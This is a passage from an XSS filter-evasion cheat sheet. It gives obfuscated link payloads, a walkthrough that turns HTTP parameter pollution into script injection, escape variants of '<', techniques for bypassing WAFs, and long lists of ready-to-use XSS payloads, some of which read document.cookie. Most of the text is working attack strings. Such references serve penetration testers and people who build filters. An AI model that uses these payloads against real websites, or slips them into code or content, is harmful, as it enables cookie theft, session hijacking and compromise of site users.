Let's mix and match base encoding and throw in some tabs and newlines (why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

```
<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>
```

Protocol Resolution Bypass¶

`//` translates to `http://`, which saves a few more bytes. This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like `(ht|f)tp(s)?://` (thanks to Ozh for part of this one). You can also change the `//` to `\\\\`. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL:

```
<A HREF="//www.google.com/">XSS</A>
```

Removing CNAMEs¶

When combined with the above URL, removing `www.` will save an additional 4 bytes for a total byte savings of 9 for servers that have set this up properly:

```
<A HREF="http://google.com/">XSS</A>
```

Extra dot for absolute DNS:

```
<A HREF="http://www.google.com./">XSS</A>
```

JavaScript Link Location¶

```
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
```

Content Replace as Attack Vector¶

Assuming `http://www.google.com/` is programmatically replaced with nothing. A similar attack vector has been used against several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector `java&\#x09;script:` was converted into `java script:`, which renders in IE:

```
<A HREF="http://www.google.com/ogle.com/">XSS</A>
```

Assisting XSS with HTTP Parameter Pollution¶

If a content sharing flow on a web site is implemented as shown below, this attack will work. There is a `Content` page which includes some content provided by users and this page also includes a link to `Share` page which enables a user choose their favorite social sharing platform to share it on. Developers HTML encoded the `title` parameter in the `Content` page to prevent against XSS but for some reasons they didn't URL encoded this parameter to prevent from HTTP Parameter Pollution. Finally they decide that since `content_type`'s value is a constant and will always be integer, they didn't encode or validate the `content_type` in the `Share` page.

Content Page Source Code¶

```
a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>
```

Share Page Source Code¶

```
<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
//some user agreement and sending to server logic might be here
...
</script>
```

Content Page Output¶

If attacker set the untrusted content title as `This is a regular title&content_type=1;alert(1)` the link in `Content` page would be this:

```
<a href="/share?content_type=1&title=This is a regular title&amp;content_type=1;alert(1)">Share</a>
```

Share Page Output¶

And in share page output could be this:

```
<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
...
//some user agreement and sending to server logic might be here
...
</script>
```

As a result, in this example the main flaw is trusting the content_type in the Share page without proper encoding or validation. HTTP Parameter Pollution could increase impact of the XSS flaw by promoting it from a reflected XSS to a stored XSS.

Character Escape Sequences¶

Here are all the possible combinations of the character \< in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.

- <
- %3C
- &lt
- &lt;
- &LT
- &LT;
- &#60;
- &#060;
- &#0060;
- &#00060;
- &#000060;
- &#0000060;
- &#60;
- &#060;
- &#0060;
- &#00060;
- &#000060;
- &#0000060;
- &#x3c;
- &#x03c;
- &#x003c;
- &#x0003c;
- &#x00003c;

- &#x000003c;
- &#x3c;
- &#x03c;
- &#x003c;
- &#x0003c;
- &#x00003c;
- &#x000003c;
- &#X3c;
- &#X03c;
- &#X003c;
- &#X0003c;
- &#X00003c;
- &#X000003c;
- &#X3c;
- &#X03c;
- &#X003c;
- &#X0003c;
- &#X00003c;
- &#X000003c;
- &#x3C;
- &#x03C;
- &#x003C;
- &#x0003C;
- &#x00003C;
- &#x000003C;
- &#x3C;
- &#x03C;
- &#x003C;
- &#x0003C;
- &#x00003C;
- &#x000003C;
- &#X3C;
- &#X03C;
- &#X003C;
- &#X0003C;

- &#X00003C;
- &#X000003C;
- &#X3C;
- &#X03C;
- &#X003C;
- &#X0003C;
- &#X00003C;
- &#X000003C;
- \x3c
- \x3C
- \u003c
- \u003C

Methods to Bypass WAF – Cross-Site Scripting¶

General issues¶

Stored XSS¶

If an attacker managed to push XSS through the filter, WAF wouldn't be able to prevent the attack conduction.

Reflected XSS in JavaScript¶

Example:

```
<script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>
```

Exploitation:

```
/?xss=500); alert(document.cookie);//
```

DOM-based XSS¶

Example:

```
<script> ... eval($\_GET\[xss\]); ... </script>
```

Exploitation:

```
/?xss=document.cookie
```

XSS via request Redirection¶

Vulnerable code:

```
...
header('Location: '.$_GET['param']);
...
```

As well as:

```
...
header('Refresh: 0; URL='.$_GET['param']);
...
```

This request will not pass through the WAF:

```
/?param=<javascript:alert(document.cookie>)
```

This request will pass through the WAF and an XSS attack will be conducted in certain browsers:

```
/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
```

WAF ByPass Strings for XSS¶

- <Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
- <Video> <source onerror = "javascript: alert (XSS)">
- <Input value = "XSS" type = text>
- <applet code="javascript:confirm(document.cookie);">
- <isindex x="javascript:" onmouseover="alert(XSS)">
- "></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
- "><img src="x:x" onerror="alert(XSS)">
- "><iframe src="javascript:alert(XSS)">
- <object data="javascript:alert(XSS)">
- <isindex type=image src=1 onerror=alert(XSS)>
- <img src=x:alert(alt) onerror=eval(src) alt=0>
- <img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
- <iframe/src="data:text/html,<svg onload=alert(1)>">
- <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
- <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
- <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
- <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
- <form><a href="javascript:\u0061lert(1)">X
- </script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>

- <style>//*{x:expression(alert(/xss/))}//<style></style>

On Mouse Over:

- <img src="/" =_=" title="onerror='prompt(1)'">
- <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
- <script x> alert(1) </script 1=2
- <form><button formaction=javascript&colon;alert(1)>CLICKME
- <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
- <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
- <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>

Filter Bypass Alert Obfuscation¶

- (alert)(1)
- a=alert,a(1)
- [1].find(alert)
- top[“al”+”ert”](1)
- top[/al/.source+/ert/.source](1)
- al\u0065rt(1)
- top[‘al\145rt’](1)
- top[‘al\x65rt’](1)
- top[8680439..toString(30)](1)
- alert?.()
- (alert())

The payload should include leading and trailing backticks:

&#96;`${alert``}`&#96;